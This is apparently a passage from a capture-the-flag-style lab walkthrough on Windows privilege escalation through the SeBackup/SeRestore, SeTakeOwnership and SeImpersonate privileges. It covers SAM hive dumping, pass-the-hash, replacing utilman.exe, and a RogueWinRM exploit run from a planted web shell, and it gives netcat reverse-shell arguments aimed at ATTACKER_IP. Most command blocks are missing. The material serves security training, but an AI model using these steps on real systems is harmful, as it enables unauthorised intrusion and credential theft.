Windows Privileges
Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.
Each user has a set of assigned privileges that can be checked with the following command:
A complete list of available privileges on Windows systems is available here. From an attackerโs standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.
While we wonโt take a look at each of them, we will showcase how to abuse some of the most common privileges you can find.
SeBackup / SeRestore
The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.
Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administratorโs password hash.
Log in to the target machine via RDP using the following credentials:
User: THMBackup
Password: CopyMaster555
This account is part of the โBackup Operatorsโ group, which by default is granted the SeBackup and SeRestore privileges. We will need to open a command prompt using the โOpen as administratorโ option to use these privileges. We will be asked to input our password again to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
To backup the SAM and SYSTEM hashes, we can use the following commands:
This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacketโs smbserver.py
to start a simple SMB server with a network share in the current directory of our AttackBox:
This will create a share named public
pointing to the share
directory, which requires the username and password of our current windows session. After this, we can use the copy
command in our windows machine to transfer both files to our AttackBox:
And use impacket to retrieve the usersโ password hashes:
We can finally use the Administratorโs hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:
SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the serviceโs executable. For this task, we will be taking a different route, however.
Log in to the target machine via RDP using the following credentials:
User: THMTakeOwnership
Password: TheWorldIsMine2022
To get the SeTakeOwnership privilege, we need to open a command prompt using the โOpen as administratorโ option. We will be asked to input our password to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
Weโll abuse utilman.exe
to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
To replace utilman, we will start by taking ownership of it with the following command:
Notice that being the owner of a file doesnโt necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:
After this, we will replace utilman.exe with a copy of cmd.exe:
To trigger utilman, we will lock our screen from the start button:
And finally, proceed to click on the โEase of Accessโ button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:
SeImpersonate / SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.
Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.
Letโs assume we have an FTP service running with user ftp
. Without impersonation, if user Ann logs into the FTP server and tries to access her files, the FTP service would try to access them with its access token rather than Annโs:
There are several reasons why using ftpโs token is not the best idea: - For the files to be served correctly, they would need to be accessible to the ftp
user. In the example above, the FTP service would be able to access Annโs files, but not Billโs files, as the DACL in Billโs files doesnโt allow user ftp
. This adds complexity as we must manually configure specific permissions for each served file/directory. - For the operating system, all files are accessed by user ftp
, independent of which user is currently logged in to the FTP service. This makes it impossible to delegate the authorisation to the operating system; therefore, the FTP service must implement it. - If the FTP service were compromised at some point, the attacker would immediately gain access to all of the folders to which the ftp
user has access.
If, on the other hand, the FTP serviceโs user has the SeImpersonate or SeAssignPrimaryToken privilege, all of this is simplified a bit, as the FTP service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf:
Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Annโs access token and use it to access her files. This way, the files donโt need to provide access to user ftp
in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it wonโt be able to access Judeโs or Billโs files during that session.
As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.
In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called โiis apppool\defaultapppoolโ for web applications.
To elevate privileges using such accounts, an attacker needs the following: 1. To spawn a process so that users can connect and authenticate to it for impersonation to occur. 2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.
We will use RogueWinRM exploit to accomplish both conditions.
Letโs start by assuming we have already compromised a website running on IIS and that we have planted a web shell on the following address:
http://10.10.95.45/
We can use the web shell to check for the assigned privileges of the compromised account and confirm we hold both privileges of interest for this task:
To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the C:\tools\
folder.
The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
If, for some reason, the WinRM service isnโt running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
Before running the exploit, weโll start a netcat listener to receive a reverse shell on our attackerโs machine:
And then, use our web shell to trigger the RogueWinRM exploit using the following command:
Note: The exploit may take up to 2 minutes to work, so your browser may appear as unresponsive for a bit. This happens if you run the exploit multiple times as it must wait for the BITS service to stop before starting it again. The BITS service will stop automatically after 2 minutes of starting.
The -p
parameter specifies the executable to be run by the exploit, which is nc64.exe
in this case. The -a
parameter is used to pass arguments to the executable. Since we want nc64 to establish a reverse shell against our attacker machine, the arguments to pass to netcat will be -e cmd.exe ATTACKER_IP 4442
.
If all was correctly set up, you should expect a shell with SYSTEM privileges: